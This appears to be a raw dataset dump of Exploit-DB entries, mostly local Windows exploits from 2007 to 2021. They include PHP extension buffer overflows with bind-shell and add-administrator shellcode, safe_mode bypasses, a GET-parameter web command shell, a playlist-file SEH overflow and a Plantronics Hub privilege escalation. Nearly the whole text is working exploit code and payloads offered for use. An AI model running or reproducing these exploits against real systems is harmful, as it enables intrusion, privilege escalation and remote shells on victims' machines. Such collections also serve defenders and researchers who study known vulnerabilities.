deardaniel/secdata-raw huggingface dataset:
Exploit-DB #4302
Description: PHP 5.2.3 - 'PHP_win32sti' Local Buffer Overflow (1)
Type: local
Platform: windows
Date: 2007-08-22
Author: Inphex

Exploit:
<?php
/*
Inphex
317 Bytes , Windows Command Shell  Bind TCP Inline , Architecture x86 , Windows TinyXP - vm.
GET /script.php HTTP/1.1\n

telnet 192.168.2.32 4444
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\apache>
7ffdf020  7c911005 7c9110ed [PII_REDACTED]

shoutz go to Kevin Finisterre
*/

if(!function_exists('win_browse_file')) {
die('win32std extension is not available');
}
$shellcode=
"\x2b\xc9\xb1\x51\xba\xbb\xb2\xd5\x31\xda\xda\xd9\x74\x24\xf4".
"\x58\x31\x50\x0e\x83\xc0\x04\x03\xeb\xb8\x37\xc4\xf7\xd7\x5c".
"\x6a\xef\xd1\x5c\x8a\x10\x41\x28\x19\xca\xa6\xa5\xa7\x2e\x2c".
"\xc5\x22\x36\x33\xd9\xa6\x89\x2b\xae\xe6\x35\x4d\x5b\x51\xbe".
"\x79\x10\x63\x2e\xb0\xe6\xfd\x02\x37\x26\x89\x5d\xf9\x6d\x7f".
"\x60\x3b\x9a\x74\x59\xef\x79\x5d\xe8\xea\x09\xc2\x36\xf4\xe6".
"\x9b\xbd\xfa\xb3\xe8\x9e\x1e\x45\x04\x23\x33\xce\x53\x4f\x6f".
"\xcc\x02\x4c\x5e\x37\xa0\xd9\xe2\xf7\xa2\x9d\xe8\x7c\xc4\x01".
"\x5c\x09\x65\x31\xc0\x66\xe8\x0f\xf2\x9a\xa4\x70\xdc\x05\x16".
"\xe8\x89\xfa\xaa\x9c\x3e\x8e\xf8\x03\x95\x8f\x2d\xd3\xde\x9d".
"\x32\x18\xb1\xa2\x1d\x01\xb8\xb8\xc4\x3c\x57\x4a\x0b\x6b\xc2".
"\x49\xf4\x43\x7a\x97\x03\x96\xd6\x70\xeb\x8e\x7a\x2c\x40\x7d".
"\x2e\x91\x35\xc2\x83\xea\x6a\xa2\x4b\x04\xd7\x4c\xdf\xaf\x06".
"\x05\xb7\x0b\xd2\x55\x8f\x03\x1c\x43\x65\xbc\xb3\x3e\x85\x6c".
"\x5b\x64\xd4\xa3\x75\x33\xd8\x6a\xd6\xee\xd9\x43\xb1\xf5\x6f".
"\xe2\x0b\xa2\x90\x3c\xdb\x18\x3b\x94\x23\x70\x50\x7e\x3b\x09".
"\x91\x06\x94\x16\xcb\xac\xe5\x38\x92\x24\x7e\xde\x33\xda\x13".
"\x97\x21\x76\xbc\xfe\x80\x4b\xb5\xe7\xb9\x17\x4f\x05\x0c\x58".
"\xbc\x63\x91\x1a\x6e\x8d\x2c\xb7\xe3\xfc\xcb\xff\xa8\x55\x80".
"\x68\xdd\x57\x64\x7e\xde\xd2\xcf\x80\xf6\x47\x87\x2c\xa6\x26".
"\x76\xbb\x49\x99\x29\x6e\x1b\xe6\x1a\xf8\x36\xc1\x9e\x37\x1b".
"\x0e\x76\xad\x63\x0f\x40\xcd\x4c\x64\xf8\xcd\xee\xbe\x63\xd1".
"\x27\x6c\x93\xfd\xa0\x60\xe1\xfa\x6f\xd3\x09\xd4\x6f\x03\xf5".
"\xd9\x8f";

$eip = "\xDC\x1C\x9C\x7C"; //shell32.dll
win_browse_file( 1, NULL, str_repeat( "A", 260 )."".$eip."XXXX\x20\xf0\xfd\x7f".str_repeat("C",500).$shellcode.str_repeat("C",300), NULL, array( "*" => "*.*" ) );
?>

# milw0rm.com [2007-08-22]
Exploit-DB #4303
Description: PHP 5.2.3 - 'PHP_win32sti' Local Buffer Overflow (2)
Type: local
Platform: windows
Date: 2007-08-22
Author: NetJackal

Exploit:
<?php

##########################################################
###----------------------------------------------------###
###--------PHP win32std Buffer Overflow Exploit--------###
###----------------------------------------------------###
###-Tested on:-PHP 5.2.3-------------------------------###
###------------Windows XP SP2 Eng----------------------###
###----------------------------------------------------###
###-Note:-Shellcode is hard coded for Win XP SP2 Eng---###
###----------------------------------------------------###
###-Author:--NetJackal---------------------------------###
###-Email:---nima_501[at]yahoo[dot]com-----------------###
###-Website:-http://netjackal.by.ru--------------------###
###----------------------------------------------------###
##########################################################



#Add user:    [user]=>"adm1n" [password]=>"netjackal"
$SC=
"\xEB\x19\x5A\x31\xC0\x50\x88\x42\x52\x52\xBB\x6D\x13\x86".
"\x7C\xFF\xD3\xBB\xDA\xCD\x81\x7C\x31\xC0\x50\xFF\xD3\xE8".
"\xE2\xFF\xFF\xFF\x63\x6D\x64\x2E\x65\x78\x65\x20\x2F\x63".
"\x20\x6E\x65\x74\x20\x75\x73\x65\x72\x20\x61\x64\x6D\x31".
"\x6E\x20\x6E\x65\x74\x6A\x61\x63\x6B\x61\x6C\x20\x2F\x61".
"\x64\x64\x26\x26\x6E\x65\x74\x20\x6C\x6F\x63\x61\x6C\x67".
"\x72\x6F\x75\x70\x20\x41\x64\x6D\x69\x6E\x69\x73\x74\x72".
"\x61\x74\x6F\x72\x73\x20\x2F\x61\x64\x64\x20\x61\x64\x6D".
"\x31\x6E\x58";

$RET="\x70\xE6\x16\x01";

$BOMB=str_repeat("\x90",24).$SC.str_repeat("A",121).$RET;

win_browse_file(1,NULL,$BOMB,NULL,array( "*" => "*.*"));
?>

# milw0rm.com [2007-08-22]
Exploit-DB #4204
Description: PHP 5.2.3 - 'snmpget()' Object id Local Buffer Overflow
Type: local
Platform: windows
Date: 2007-07-20
Author: shinnai

Exploit:
<?php
//PHP <= 5.2.3 snmpget() object id local Buffer Overflow eip overwrite exploit
//bug discovered by rgod
//Original advisory: http://retrogod.altervista.org/php_446_snmpget_local_bof.html

//[quote="rgod"]more than 256 chars result in simple eip overwrite[/quote]
//right! so here it is an exploit using eip overwrite

//author: shinnai
//mail: shinnai[at]autistici[dot]org
//site: http://shinnai.altervista.org

//Tested on xp Pro sp2 full patched

if (!extension_loaded("snmp")) die("snmp extension required!");

$buffer = str_repeat("A",256);

$EIP="\xFF\xBE\x3F\x7E"; //call esp from user32.dll

$nop=str_repeat("\x90",8);

$shellcode= //execute calc.exe
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49".
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41".
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x54".
"\x42\x30\x42\x50\x42\x50\x4b\x58\x45\x54\x4e\x53\x4b\x58\x4e\x37".
"\x45\x50\x4a\x47\x41\x30\x4f\x4e\x4b\x38\x4f\x44\x4a\x51\x4b\x48".
"\x4f\x55\x42\x42\x41\x30\x4b\x4e\x49\x44\x4b\x48\x46\x43\x4b\x38".
"\x41\x30\x50\x4e\x41\x53\x42\x4c\x49\x49\x4e\x4a\x46\x58\x42\x4c".
"\x46\x57\x47\x50\x41\x4c\x4c\x4c\x4d\x50\x41\x30\x44\x4c\x4b\x4e".
"\x46\x4f\x4b\x53\x46\x35\x46\x32\x46\x30\x45\x37\x45\x4e\x4b\x48".
"\x4f\x35\x46\x32\x41\x50\x4b\x4e\x48\x56\x4b\x38\x4e\x50\x4b\x54".
"\x4b\x48\x4f\x55\x4e\x31\x41\x30\x4b\x4e\x4b\x38\x4e\x41\x4b\x38".
"\x41\x30\x4b\x4e\x49\x58\x4e\x35\x46\x42\x46\x50\x43\x4c\x41\x43".
"\x42\x4c\x46\x36\x4b\x48\x42\x34\x42\x33\x45\x38\x42\x4c\x4a\x37".
"\x4e\x30\x4b\x48\x42\x34\x4e\x50\x4b\x48\x42\x57\x4e\x31\x4d\x4a".
"\x4b\x38\x4a\x46\x4a\x50\x4b\x4e\x49\x50\x4b\x48\x42\x38\x42\x4b".
"\x42\x30\x42\x50\x42\x30\x4b\x48\x4a\x36\x4e\x53\x4f\x35\x41\x33".
"\x48\x4f\x42\x46\x48\x35\x49\x58\x4a\x4f\x43\x48\x42\x4c\x4b\x57".
"\x42\x55\x4a\x46\x42\x4f\x4c\x48\x46\x50\x4f\x35\x4a\x46\x4a\x49".
"\x50\x4f\x4c\x38\x50\x30\x47\x55\x4f\x4f\x47\x4e\x43\x56\x41\x36".
"\x4e\x46\x43\x46\x50\x52\x45\x36\x4a\x37\x45\x36\x42\x30\x5a";

$egg = $buffer.$EIP.$nop.$shellcode.$nop;

snmpget (1, 1, $egg);
?>

# milw0rm.com [2007-07-20]
Exploit-DB #4274
Description: PHP 5.2.3 - 'snmpget()' object id Local Buffer Overflow (EDI)
Type: local
Platform: windows
Date: 2007-08-09
Author: Inphex

Exploit:
<?php
/*
Inphex
reference ->http://milw0rm.com/exploits/4204
317 Bytes , Windows Command Shell  Bind TCP Inline , Architecture x86 , Windows TinyXP - vm.
GET /script.php HTTP/1.1\n

telnet 192.168.2.32 4444
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\apache>
*/
if (!extension_loaded("snmp")) {
die("snmp extension required!");
}
$buffer = str_repeat("A",254);
$ret = "\xD7\x98\x95\x7C"; #shell32.dll ->CALL EDI  WindowsXP
$shellcode=
"\xbd\xdb\xc6\x38\x8f\xd9\xc9\xd9\x74\x24\xf4\x58\x31\xc9" .
"\xb1\x51\x83\xc0\x04\x31\x68\x0e\x03\xb3\xc8\xda\x7a\xbf" .
"\xbf\xf1\xc8\xd7\xb9\xf9\x2c\xd8\x5a\x8d\xbf\x02\xbf\x1a" .
"\x7a\x76\x34\x60\x80\xfe\x4b\x76\x01\xb1\x53\x03\x49\x6d" .
"\x65\xf8\x3f\xe6\x51\x75\xbe\x16\xa8\x49\x58\x4a\x4f\x89" .
"\x2f\x95\x91\xc0\xdd\x98\xd3\x3e\x29\xa1\x87\xe4\xfa\xa0" .
"\xc2\x6e\xa5\x6e\x0c\x9a\x3c\xe5\x02\x17\x4a\xa6\x06\xa6" .
"\xa7\x5b\x1b\x23\xbe\x37\x47\x2f\xa0\x04\xb6\x94\x46\x01" .
"\xfa\x1a\x0c\x55\xf1\xd1\x62\x49\xa4\x6d\xc2\x79\xe8\x19" .
"\x4d\x37\x1a\x36\x01\x38\xf4\xa0\xf1\xa0\x91\x1f\xc4\x44" .
"\x15\x13\x1a\xcb\x8d\x2c\x8a\x9b\xe6\x3e\xd7\x60\xa9\x3f" .
"\xfe\xc9\xc0\x25\x99\x74\x3f\xad\x64\x23\xaa\xac\x97\x1b" .
"\x42\x68\x6e\x6e\x3e\xdd\x8e\x46\x12\xb1\x23\x35\xc6\x76" .
"\x97\xfa\xbb\x87\xc7\x9a\x53\x69\xb4\x04\xf7\x00\xa5\x5d" .
"\x9f\xb6\x3c\x2d\xa7\xe0\xbf\x1b\x4d\x1f\x11\xf6\x6d\xcf" .
"\xf9\x5c\x3c\xde\x10\xcb\xc0\xc9\xb0\xa6\xc1\x26\x5e\xad" .
"\x77\x41\xd6\x7a\x77\x9b\xb9\xd0\xd3\x71\xc5\x08\x48\x11" .
"\xde\xd1\xa9\x9b\x77\xde\xe0\x09\x87\xf0\x6b\xd8\x13\x96" .
"\x1b\x7f\xb1\xdf\x39\x15\x19\x86\xe8\x26\x10\xdf\x81\xf2" .
"\xaa\xfd\x67\x3b\x5f\xab\x76\xf9\x8d\x55\xc4\xd2\x5e\x24" .
"\xb3\x12\xca\x9d\xef\x0b\x7e\x1f\x5c\xdd\x81\xaa\xe7\x1d" .
"\xab\x0f\xbf\xb3\x05\xfe\x6e\x5e\xa7\x51\xc0\xcb\xf6\xae" .
"\x32\x9b\x55\x89\xb6\x92\xf5\xd6\x6f\x40\x05\xd7\xa7\x6a" .
"\x29\xac\x9f\x68\x49\x76\x7b\x6e\x98\x24\x7b\x40\x4d\x38" .
"\x09\x65\xd1\xeb\xf1\xb0\x12\xdb\x0e\x3d\xed";
snmpget (1, 1, $buffer."\xeb\x04".$ret."".$shellcode."");
?>

# milw0rm.com [2007-08-09]
Exploit-DB #4218
Description: PHP 5.2.3 Win32std - 'win_shell_execute' Safe Mode / disable_functions Bypass
Type: local
Platform: windows
Date: 2007-07-24
Author: shinnai

Exploit:
<?php
//PHP 5.2.3 win32std extension safe_mode and disable_functions protections bypass

//author: shinnai
//mail: shinnai[at]autistici[dot]org
//site: http://shinnai.altervista.org

//Tested on xp Pro sp2 full patched, worked both from the cli and on apache

//Thanks to rgod for all his precious advises :)

//I set php.ini in this way:
//safe_mode = On
//disable_functions = system
//if you launch the exploit from the cli, cmd.exe will be wxecuted
//if you browse it through apache, you'll see a new cmd.exe process activated in taskmanager

if (!extension_loaded("win32std")) die("win32std extension required!");
system("cmd.exe"); //just to be sure that protections work well
win_shell_execute("..\\..\\..\\..\\windows\\system32\\cmd.exe");
?>

# milw0rm.com [2007-07-24]
Exploit-DB #4517
Description: PHP 5.2.4 ionCube - 'ioncube_read_file' Safe Mode / disable_functions Bypass
Type: local
Platform: windows
Date: 2007-10-11
Author: shinnai

Exploit:
<?php
//PHP 5.2.4 ionCube extension safe_mode and disable_functions protections bypass

//author: shinnai
//mail: shinnai[at]autistici[dot]org
//site: http://shinnai.altervista.org

//Tested on xp Pro sp2 full patched, worked both from the cli and on apache

//Technical details:
//ionCube version: 6.5
//extension: ioncube_loader_win_5.2.dll (other may also be vulnerable)
//url: www.ioncube.com

//php.ini settings:
//safe_mode = On
//disable_functions = ioncube_read_file, readfile

//Description:
//This is useful to obtain juicy informations but also to retrieve source
//code of php pages, password files, etc... you just need to change file path.
//Anyway, don't worry, nobody will read your obfuscated code :)

//greetz to: BlackLight for help me to understand better PHP

//P.S.
//This extension contains even an interesting ioncube_write_file function...

if (!extension_loaded("ionCube Loader")) die("ionCube Loader extension required!");

$path = str_repeat("..\\", 20);

$MyBoot_readfile = readfile($path."windows\\system.ini"); #just to be sure that I set correctely disable_function :)

$MyBoot_ioncube = ioncube_read_file($path."boot.ini");

echo $MyBoot_readfile;

echo "<br><br>ionCube output:<br><br>";

echo $MyBoot_ioncube;
?>

# milw0rm.com [2007-10-11]
Exploit-DB #21887
Description: PHP 5.3.4 Win Com Module - Com_sink
Type: local
Platform: windows
Date: 2012-10-11
Author: fb1h2s

Exploit:
# Exploit Title: PHP 5.3.4 Win Com Module Com_sink Local Exploit
# Google Dork: Nil
# Date: 9/10/2012
# Author: FB1H2S
# Software Link: PHP Windows
# Version: [5.3.4]
# Tested on: Microsoft XP Pro 2002 SP2
 
<?php
 //PHP 5.3.4 
 
 //
//$eip ="\x44\x43\x42\x41";
$eip= "\x4b\xe8\x57\x78";
$eax ="\x80\x01\x8d\x04";
$deodrant="";
$axespray = str_repeat($eip.$eax,0x80);

//048d0190
echo strlen($axespray);
echo  "PHP 5.3.4 WIN Com Module COM_SINK 0-day\n" ;
echo  "By Rahul Sasi : http://twitter.com/fb1h2s\n" ;
echo  "Exploit Tested on:\n Microsoft XP Pro 2002 SP2 \n" ;
echo  "More Details Here:\n http://www.garage4hackers.com/blogs/8/web-app-remote-code-execution-via-scripting-engines-part-1-local-exploits-php-0-day-394/\n" ;


//19200 ==4B32 4b00
for($axeeffect=0;$axeeffect<0x4B32;$axeeffect++)
{
    $deodrant.=$axespray;
}


$terminate = "T";

$u[] =$deodrant;

$r[] =$deodrant.$terminate;
$a[] =$deodrant.$terminate;
$s[] =$deodrant.$terminate;

 
//$vVar = new VARIANT(0x048d0038+$offset); // This is what we controll
$vVar = new VARIANT(0x048d0000+180); 
//alert box Shellcode 
$buffer = "\x90\x90\x90".
          "\xB9\x38\xDD\x82\x7C\x33\xC0\xBB".
            "\xD8\x0A\x86\x7C\x51\x50\xFF\xd3";

$var2 = new VARIANT(0x41414242);

com_event_sink($vVar,$var2,$buffer);



 
?>
Exploit-DB #4236
Description: PHP 5.x - 'Win32service' Local 'Safe_Mode()' Bypass
Type: local
Platform: windows
Date: 2007-07-27
Author: NetJackal

Exploit:
<?php

#####################################################
### PHP Safe_mode bypass exploit (win32service)   ###
###                                               ###
### Note: Tested on 5.2.1                         ###
###                                               ###
### Author:  NetJackal                            ###
### Email:   nima_501[at]yahoo[dot]com            ###
### Website: http://netjackal.by.ru               ###
###                                               ###
###                                               ###
### Usage: http://victim.net/nj.php?CMD=[command] ###
#####################################################

$command=(isset($_GET['CMD']))?$_GET['CMD']:'dir'; #cammand
$dir=ini_get('upload_tmp_dir'); #Directory to store command's output

if(!extension_loaded('win32service'))die('win32service extension not found!');
$name=$dir."\\".uniqid('NJ');
$n=uniqid('NJ');
$cmd=(empty($_SERVER['ComSpec']))?'d:\\windows\\system32\\cmd.exe':$_SERVER['ComSpec'];
win32_create_service(array('service'=>$n,'display'=>$n,'path'=>$cmd,'params'=>"/c $command >\"$name\""));
win32_start_service($n);
win32_stop_service($n);
win32_delete_service($n);
$exec=file_get_contents($name);
unlink($name);
echo "<pre>".htmlspecialchars($exec)."</pre>";
?>

# milw0rm.com [2007-07-27]
Exploit-DB #12051
Description: PHP 6.0 Dev - 'str_transliterate()' Local Buffer Overflow
Type: local
Platform: windows
Date: 2010-04-04
Author: Yakir Wizman

Exploit:
<?php
error_reporting(0);
#####################################################################
## PHP 6.0 Dev str_transliterate() 0Day Buffer Overflow Exploit
## Tested on WIN XP HEB SP3, Apache, PHP 6.0 Dev
## Buffer Overflow
## Bug discovered by Pr0T3cT10n, <pr0t3ct10n@gmail.com>
## Exploited by TheLeader, Debug
## SP. Thanks: HDM
## http://www.nullbyte.org.il
#####################################################################
## This code should exploits a buffer overflow in the str_transliterate() function to call WinExec and execute CALC
## Take a look, 'unicode.semantics' has to be on!
## php.ini > unicode.semantics = on
#####################################################################
if(ini_get_bool('unicode.semantics')) {
 $buff = str_repeat("\u4141", 256);
 $eip = "\u1445\u10A9"; # 0x10A91445 JMP ESP @ php6ts.dll
 $nops = str_repeat("\u9090", 20);

 # WinExec Calc XP SP3 HEB Unicode-encoded shellcode
 $shellcode = "\u02EB\u05EB\uF9E8\uFFFF\u33FF\u5BC0\u4388\u8315\u11C3\uBB53\u250D\u7C86\uD3FF\u6163\u636C\u414E";
 
 # WinExec Calc XP SP3 EN Unicode-encoded shellcode (added by muts)
 # $shellcode = "\u02EB\u05EB\uF9E8\uFFFF\u33FF\u5BC0\u4388\u8315\u11C3\uBB53\u23AD\u7C86\uD3FF\u6163\u636C\u414E";
 
 $exploit = $buff.$eip.$nops.$shellcode;
 str_transliterate(0, $exploit, 0);
} else {
 exit("Error! 'unicode.semantics' has be on!\r\n");
}

function ini_get_bool($a) {
 $b = ini_get($a);
 switch (strtolower($b)) {
  case 'on':
  case 'yes':
  case 'true':
   return 'assert.active' !== $a;
  case 'stdout':
  case 'stderr':
   return 'display_errors' === $a;
  default:
   return (bool) (int) $b;
 }
}
?>
Exploit-DB #4270
Description: PHP mSQL (msql_connect) - Local Buffer Overflow
Type: local
Platform: windows
Date: 2007-08-08
Author: Inphex

Exploit:
<?php
/*
Inphex
317 Bytes , Windows Command Shell  Bind TCP Inline , Architecture x86 , Windows TinyXP - vm.

GET /script.php HTTP/1.1\n

telnet 192.168.2.32 4444
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\apache>
*/
if(!function_exists('msql_connect')) {
die('mSQL extension is not available');
}

$ret = "\xA3\x3D\x92\x7C"; #shell32.dll ->CALL EBP  WindowsXP
$shellcode=
"\xbd\xdb\xc6\x38\x8f\xd9\xc9\xd9\x74\x24\xf4\x58\x31\xc9" .
"\xb1\x51\x83\xc0\x04\x31\x68\x0e\x03\xb3\xc8\xda\x7a\xbf" .
"\xbf\xf1\xc8\xd7\xb9\xf9\x2c\xd8\x5a\x8d\xbf\x02\xbf\x1a" .
"\x7a\x76\x34\x60\x80\xfe\x4b\x76\x01\xb1\x53\x03\x49\x6d" .
"\x65\xf8\x3f\xe6\x51\x75\xbe\x16\xa8\x49\x58\x4a\x4f\x89" .
"\x2f\x95\x91\xc0\xdd\x98\xd3\x3e\x29\xa1\x87\xe4\xfa\xa0" .
"\xc2\x6e\xa5\x6e\x0c\x9a\x3c\xe5\x02\x17\x4a\xa6\x06\xa6" .
"\xa7\x5b\x1b\x23\xbe\x37\x47\x2f\xa0\x04\xb6\x94\x46\x01" .
"\xfa\x1a\x0c\x55\xf1\xd1\x62\x49\xa4\x6d\xc2\x79\xe8\x19" .
"\x4d\x37\x1a\x36\x01\x38\xf4\xa0\xf1\xa0\x91\x1f\xc4\x44" .
"\x15\x13\x1a\xcb\x8d\x2c\x8a\x9b\xe6\x3e\xd7\x60\xa9\x3f" .
"\xfe\xc9\xc0\x25\x99\x74\x3f\xad\x64\x23\xaa\xac\x97\x1b" .
"\x42\x68\x6e\x6e\x3e\xdd\x8e\x46\x12\xb1\x23\x35\xc6\x76" .
"\x97\xfa\xbb\x87\xc7\x9a\x53\x69\xb4\x04\xf7\x00\xa5\x5d" .
"\x9f\xb6\x3c\x2d\xa7\xe0\xbf\x1b\x4d\x1f\x11\xf6\x6d\xcf" .
"\xf9\x5c\x3c\xde\x10\xcb\xc0\xc9\xb0\xa6\xc1\x26\x5e\xad" .
"\x77\x41\xd6\x7a\x77\x9b\xb9\xd0\xd3\x71\xc5\x08\x48\x11" .
"\xde\xd1\xa9\x9b\x77\xde\xe0\x09\x87\xf0\x6b\xd8\x13\x96" .
"\x1b\x7f\xb1\xdf\x39\x15\x19\x86\xe8\x26\x10\xdf\x81\xf2" .
"\xaa\xfd\x67\x3b\x5f\xab\x76\xf9\x8d\x55\xc4\xd2\x5e\x24" .
"\xb3\x12\xca\x9d\xef\x0b\x7e\x1f\x5c\xdd\x81\xaa\xe7\x1d" .
"\xab\x0f\xbf\xb3\x05\xfe\x6e\x5e\xa7\x51\xc0\xcb\xf6\xae" .
"\x32\x9b\x55\x89\xb6\x92\xf5\xd6\x6f\x40\x05\xd7\xa7\x6a" .
"\x29\xac\x9f\x68\x49\x76\x7b\x6e\x98\x24\x7b\x40\x4d\x38" .
"\x09\x65\xd1\xeb\xf1\xb0\x12\xdb\x0e\x3d\xed";
//
msql_connect(str_repeat('A',49422)."\xeb\x02".$ret."\x15B".$shellcode."");
?>

# milw0rm.com [2007-08-08]
Exploit-DB #49626
Description: Pingzapper 2.3.1 - 'PingzapperSvc' Unquoted Service Path
Type: local
Platform: windows
Date: 2021-03-08
Author: Brian Rodriguez

Exploit:
# Exploit Title: Pingzapper 2.3.1 - 'PingzapperSvc' Unquoted Service Path
# Discovery by: Brian Rodriguez
# Date: 07-03-2021
# Vendor Homepage: https://pingzapper.com
# Software Links: https://pingzapper.com/download
# Tested Version: 2.3.1
# Vulnerability Type: Unquoted Service Path
# Tested on: Windows 8.1 Pro 64 bits

# Step to discover Unquoted Service Path:

C:\>wmic service get name,displayname,pathname,startmode |findstr /i "auto"
|findstr /i /v "c:\windows\\" |findstr /i /v """
Pingzapper Service      PingzapperSvc            C:\Program Files
(x86)\Pingzapper\PZService.exe               Auto

C:\>sc qc PingzapperSvc [SC] QueryServiceConfig CORRECTO NOMBRE_SERVICIO:
PingzapperSvc TIPO : 10 WIN32_OWN_PROCESS TIPO_INICIO : 2 AUTO_START
CONTROL_ERROR : 1 NORMAL NOMBRE_RUTA_BINARIO: C:\Program Files
(x86)\Pingzapper\PZService.exe GRUPO_ORDEN_CARGA : ETIQUETA : 0
NOMBRE_MOSTRAR : Pingzapper Service DEPENDENCIAS : NOMBRE_INICIO_SERVICIO:
LocalSystem
Exploit-DB #9428
Description: pIPL 2.5.0 - '.PLS' / '.PL' Universal Local Buffer (SEH)
Type: local
Platform: windows
Date: 2009-08-13
Author: hack4love

Exploit:
#!/usr/bin/perl
# by hack4love
# hack4love@hotmail.com
# pIPL V 2.5.0 (.PLS /.PL) Universal Local Buffer Exploit (SEH)
# http://www.programmedintegration.com/files/pipl.exe
# ## easy #### this work sooooooooo good############################
####################################################################
# USE>>LOAD PLAYLIST>>HACK4LOVE.PLS>>DOUBLE CLICK TO PLAY >BOOM CALC
####################################################################
my $bof="\x41" x 4108;
my $nsh="\xEB\x06\x90\x90";
my $seh="\x17\x07\x01\x10";#xaudio.dll####P/P/R
my $nop="\x90" x 20;
####################################################################
my $sec=
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49".
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41".
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x34".
"\x42\x50\x42\x50\x42\x30\x4b\x38\x45\x34\x4e\x43\x4b\x48\x4e\x47".
"\x45\x30\x4a\x47\x41\x50\x4f\x4e\x4b\x48\x4f\x44\x4a\x41\x4b\x48".
"\x4f\x55\x42\x52\x41\x30\x4b\x4e\x49\x54\x4b\x58\x46\x43\x4b\x38".
"\x41\x50\x50\x4e\x41\x33\x42\x4c\x49\x49\x4e\x4a\x46\x48\x42\x4c".
"\x46\x37\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e".
"\x46\x4f\x4b\x43\x46\x55\x46\x32\x46\x30\x45\x47\x45\x4e\x4b\x48".
"\x4f\x35\x46\x32\x41\x30\x4b\x4e\x48\x56\x4b\x58\x4e\x30\x4b\x44".
"\x4b\x58\x4f\x55\x4e\x31\x41\x50\x4b\x4e\x4b\x58\x4e\x51\x4b\x48".
"\x41\x50\x4b\x4e\x49\x58\x4e\x55\x46\x42\x46\x30\x43\x4c\x41\x33".
"\x42\x4c\x46\x36\x4b\x38\x42\x44\x42\x53\x45\x48\x42\x4c\x4a\x37".
"\x4e\x30\x4b\x48\x42\x54\x4e\x30\x4b\x58\x42\x57\x4e\x51\x4d\x4a".
"\x4b\x38\x4a\x36\x4a\x50\x4b\x4e\x49\x30\x4b\x48\x42\x48\x42\x4b".
"\x42\x50\x42\x50\x42\x50\x4b\x48\x4a\x56\x4e\x33\x4f\x35\x41\x53".
"\x48\x4f\x42\x56\x48\x45\x49\x38\x4a\x4f\x43\x58\x42\x4c\x4b\x57".
"\x42\x35\x4a\x46\x42\x4f\x4c\x58\x46\x50\x4f\x55\x4a\x36\x4a\x59".
"\x50\x4f\x4c\x38\x50\x50\x47\x35\x4f\x4f\x47\x4e\x43\x36\x41\x56".
"\x4e\x56\x43\x46\x42\x30\x5a";
print $bof.$nsh.$seh.$nop.$sec;
###################################################################
open(myfile,'>> HACK4LOVE.PLS');
print myfile $bof.$nsh.$seh.$nop.$sec;
###################################################################

# milw0rm.com [2009-08-13]
Exploit-DB #47845
Description: Plantronics Hub 3.13.2 - Local Privilege Escalation
Type: local
Platform: windows
Date: 2020-01-03
Author: Markus

Exploit:
# Exploit Title: Plantronics Hub 3.13.2 - Local Privilege Escalation
# Date: 2020-01-2
# Exploit Author: Markus Krell - @MarkusKrell
# Vendor Homepage: https://support.polycom.com/content/dam/polycom-support/global/documentation/plantronics-hub-local-privilege-escalation-vulnerability.pdf
# Software Link: https://www.plantronics.com/content/dam/plantronics/software/PlantronicsHubInstaller-3.13.2.exe
# Version: Plantronics Hub for Windows prior to version 3.14
# Tested on: Windows 10 Enterprise
# CVE : N/A

As a regular user drop a file called "MajorUpgrade.config" inside the "C:\ProgramData\Plantronics\Spokes3G" directory. The content of MajorUpgrade.config should look like the following one liner:
<WINDOWS-USERNAME>|advertise|<FULL-PATH-TO-YOUR-DESIRED-PAYLOAD>

Exchange <WINDOWS-USERNAME> with your local (non-administrative) username. Calling cmd.exe is the most basic exploitation, as it will spawn a system shell in your (unprivileged) windows session. 
You may of course call any other binary you can plant on the machine.

Steps for exploitation (PoC):
- Open cmd.exe 
- Navigate using cd C:\ProgramData\Plantronics\Spokes3G
- echo %username%^|advertise^|C:\Windows\System32\cmd.exe > MajorUpgrade.config